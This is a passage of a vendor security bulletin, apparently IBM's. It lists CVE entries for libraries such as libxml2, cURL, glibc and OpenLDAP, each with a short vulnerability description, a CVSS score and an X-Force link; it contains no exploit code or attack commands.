https://exchange.xforce.ibmcloud.com/vulnerabilities/209462](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209462>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L) \n \n** CVEID: **[CVE-2019-13115](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13115>) \n** DESCRIPTION: **libssh2 could allow a remote attacker to execute arbitrary code on the system, caused by an out-of-bounds write in the kex_method_diffie_hellman_group_exchange_sha256_key_exchange in kex.c. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/163766](<https://exchange.xforce.ibmcloud.com/vulnerabilities/163766>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-12762](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12762>) \n** DESCRIPTION: **json-c could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow and out-of-bounds write. By persuading a victim to run a specially crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/182094](<https://exchange.xforce.ibmcloud.com/vulnerabilities/182094>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-27828](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27828>) \n** DESCRIPTION: **Jasper is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by the cp_create() in jpc_enc.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/193630](<https://exchange.xforce.ibmcloud.com/vulnerabilities/193630>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-27918](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27918>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free error in the WebKit component. By persuading a victim to open a specially crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the device. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191303](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191303>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-35492](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-35492>) \n** DESCRIPTION: **cairo is vulnerable to a stack-based buffer overflow, caused by improper bounds checking by image-compositor.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198420](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198420>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3778](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3778>) \n** DESCRIPTION: **Vim is vulnerable to a heap-based buffer overflow, caused by improper bounds checking. By sending a specially-crafted input, a local attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209481](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209481>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2017-10140](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10140>) \n** DESCRIPTION: **Postfix could allow a local authenticated attacker to gain elevated privileges on the system, caused by a flaw in in undocumented function in Berkeley DB. By reading settings from DB_CONFIG in the current directory, an authenticated attacker could exploit this vulnerability to gain elevated privileges. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/142457](<https://exchange.xforce.ibmcloud.com/vulnerabilities/142457>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3516](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3516>) \n** DESCRIPTION: **libxml2 could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free in xmlEncodeEntitiesInternal() in entities.c. By persuading a victim to open a specially crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202838](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202838>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-24977](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24977>) \n** DESCRIPTION: **GNOME libxml2 is vulnerable to a buffer overflow, caused by improper bounds checking by the xmlEncodeEntitiesInternal function in libxml2/entities.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/187847](<https://exchange.xforce.ibmcloud.com/vulnerabilities/187847>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-38185](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38185>) \n** DESCRIPTION: **GNU cpio could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow that triggers an out-of-bounds heap write in the ds_fgetstr function in dstring.c. By persuading a victim to open a specially-crafted crafted pattern file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207047](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207047>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-22922](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22922>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to bypass security restrictions, caused by not removing incorrect content by the metalink feature. By persuading a victim to download specially-crafted content, an attacker could exploit this vulnerability to access malicious content to keep in the file on disk for further attack. \nCVSS Base score: 7.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206045](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206045>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-35942](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35942>) \n** DESCRIPTION: **GNU C Library (aka glibc) could allow a local attacker to obtain sensitive information, caused by a flaw when called with an untrusted, crafted pattern in thewordexp function. By sending a specially-crafted request, an attacker could exploit this vulnerability to obtain read arbitrary memory in parse_param (in posix/wordexp.c), or cause the application to crash. \nCVSS Base score: 7.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206317](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206317>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) \n \n** CVEID: **[CVE-2021-21775](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21775>) \n** DESCRIPTION: **WebKit WebKitGTK could allow a remote attacker to obtain sensitive information, caused by a use-after-free flaw when certain events are processed for ImageLoader objects. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to obtain sensitive information and cause further memory corruptions. \nCVSS Base score: 7.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/205100](<https://exchange.xforce.ibmcloud.com/vulnerabilities/205100>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L) \n \n** CVEID: **[CVE-2014-0452](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0452>) \n** DESCRIPTION: **An unspecified vulnerability in Oracle Java SE related to the JAX-WS component has partial confidentiality impact, partial integrity impact, and partial availability impact. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92474](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92474>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2018-12700](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12700>) \n** DESCRIPTION: **GNU Binutils is vulnerable to a denial of service, caused by a stack exhaustion in debug_write_type in debug.c. A remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/145316](<https://exchange.xforce.ibmcloud.com/vulnerabilities/145316>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2019-13117](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13117>) \n** DESCRIPTION: **libxslt could allow a remote attacker to obtain sensitive information, caused by an error in numbers.c that leads to an uninitialized read in xsltNumberFormatInsertNumbers. An attacker could exploit this vulnerability to discern whether a byte on the stack contains the characters A, a, I, I, or 0, or any other character. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/166134](<https://exchange.xforce.ibmcloud.com/vulnerabilities/166134>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2019-20838](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20838>) \n** DESCRIPTION: **PCRE is vulnerable to a denial of service, caused by a buffer over-read in JIT. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/185645](<https://exchange.xforce.ibmcloud.com/vulnerabilities/185645>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-13435](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13435>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by flaw in the sqlite3ExprCodeTarget function in expr.c. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a segmentation fault. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/182406](<https://exchange.xforce.ibmcloud.com/vulnerabilities/182406>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-16135](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16135>) \n** DESCRIPTION: **Libssh is vulnerable to a denial of service, caused by a NULL pointer dereference in tftpserver.c if ssh_buffer_new returns NULL. A remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186148](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186148>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36241](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36241>) \n** DESCRIPTION: **GNOME gnome-autoar could allow a remote attacker to traverse directories on the system, caused by the lack of checks of file in autoar-extractor.c. An attacker could send a specially-crafted file to overwrite arbitrary files on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196330](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196330>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2020-36332](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36332>) \n** DESCRIPTION: **Libwebp is vulnerable to a denial of service, caused by allocating an excessive amount of memory. By reading a specially-crafted file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202249](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202249>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-20270](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20270>) \n** DESCRIPTION: **Pygments is vulnerable to a denial of service, caused by an infinite loop in SMLLexer. By performing syntax highlighting of an SML source file, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198758](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198758>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-22876](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22876>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to obtain sensitive information, caused by the failure to strip off user credentials from the URL when automatically populating the Referer: HTTP request header field in outgoing HTTP requests. By sending a specially-crafted HTTP request, an attacker could exploit this vulnerability to obtain user credentials, and use this information to launch further attacks against the affected system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199186](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199186>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-22898](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22898>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to obtain sensitive information, caused by a flaw in the option parser for sending NEW_ENV variables. By sending a specially-crafted request using a clear-text network protocol, an attacker could exploit this vulnerability to obtain sensitive internal information to the server, and use this information to launch further attacks against the affected system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202562](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202562>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-22946](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22946>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to obtain sensitive information, caused by a required TLS bypassed issue. By sniffing the network, an attacker could exploit this vulnerability to obtain sensitive data in clear text over the network, and use this information to launch further attacks against the affected system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209452](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209452>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-23840](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23840>) \n** DESCRIPTION: **OpenSSL is vulnerable to a denial of service, caused by an integer overflow in CipherUpdate. By sending an overly long argument, an attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196848](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196848>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-29059](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29059>) \n** DESCRIPTION: **Node.js IS-SVG module is vulnerable to a denial of service, caused by an error when the application is provided and checks a specially crafted invalid HWB string. By sending a specially crafted string, a remote attacker could exploit this vulnerability to cause a regular expression denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/204157](<https://exchange.xforce.ibmcloud.com/vulnerabilities/204157>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-33574](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33574>) \n** DESCRIPTION: **GNU C Library (aka glibc) is vulnerable to a denial of service, caused by a use-after-free flaw in the mq_notify function. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202550](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202550>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-37136](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37136>) \n** DESCRIPTION: **Netty netty-codec is vulnerable to a denial of service, caused by not allow size restrictions for decompressed data in the Bzip2Decoder. By sending a specially-crafted input, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211777](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211777>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-37137](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37137>) \n** DESCRIPTION: **Netty netty-codec is vulnerable to a denial of service, caused by not restrict the chunk length in the SnappyFrameDecoder. By sending a specially-crafted input, a remote attacker could exploit this vulnerability to cause excessive memory usage, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211779](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211779>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-3765](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3765>) \n** DESCRIPTION: **validator.js is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw when calling the rtrim function. By sending a specially-crafted regex input, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212669](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212669>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-11113](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11113>) \n** DESCRIPTION: **ncurses is vulnerable to a denial of service, caused by a NULL pointer dereference in the _nc_parse_entry function of tinfo/parse_entry.c. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129022](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129022>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-11112](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11112>) \n** DESCRIPTION: **ncurses is vulnerable to a denial of service, caused by an attempted 0xffffffffffffffff access in the append_acs function of tinfo/parse_entry.c issue. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129021](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129021>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-29361](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29361>) \n** DESCRIPTION: **p11-glue p11-kit are vulnerable to a denial of service, caused by multiple integer overflows when allocating memory for arrays of attributes and object identifiers. By sending a specially-crafted request using realloc or calloc function, an attacker could exploit this vulnerability to cause a denial of service or possibly execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/193532](<https://exchange.xforce.ibmcloud.com/vulnerabilities/193532>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2018-6003](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6003>) \n** DESCRIPTION: **GNU Libtasn1 is vulnerable to a denial of service, caused by a stack exhaustion in the _asn1_decode_simple_ber function in decoding.c. A remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/138175](<https://exchange.xforce.ibmcloud.com/vulnerabilities/138175>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-10790](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10790>) \n** DESCRIPTION: **GNU Libtasn1 is vulnerable to a denial of service, caused by a NULL pointer dereference in the _asn1_check_identifier function. By reading specially crafted input, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129312](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129312>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-11164](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11164>) \n** DESCRIPTION: **PCRE is vulnerable to a denial of service, caused by an uncontrolled recursion flaw in the OP_KETRMAX feature in the match function in pcre_exec.c. By using a specially-crafted regular expression, a remote attacker could exploit this vulnerability to cause stack exhaustion. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129046](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129046>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2017-1000254](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000254>) \n** DESCRIPTION: **libcurl is vulnerable to a denial of service, caused by a buffer overread in the string parser. By sending a specially-crafted response to a PWD command, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/133027](<https://exchange.xforce.ibmcloud.com/vulnerabilities/133027>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-8285](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8285>) \n** DESCRIPTION: **cURL libcurl is vulnerable to a denial of service, caused by a stack-based buffer overflow in the wildcard matching function. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192855](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192855>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-27212](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27212>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an assertion failure in slapd within the issuerAndThisUpdateCheck function. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause a daemon exit. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196992](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196992>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36221](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36221>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an integer underflow in the Certificate Exact Assertion processing. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195550](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195550>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36222](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36222>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an assertion failure in the saslAuthzTo validation. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195551](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195551>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36223](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36223>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by a double free and out-of-bounds read in the Values Return Filter control handling. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195552](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195552>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36224](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36224>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by an invalid pointer free in the saslAuthzTo processing. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195553](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195553>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36225](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36225>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by a double free in the saslAuthzTo processing. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195554](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195554>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-36226](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36226>) \n** DESCRIPTION: **OpenLDAP is vulnerable to a denial of service, caused by a memch->bv_len miscalculation flaw in the saslAuthzTo processing. By sending a specially-crafted packet, a remote attacker could exploit this vulnerability to cause slapd to crash, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195555](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195555>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: 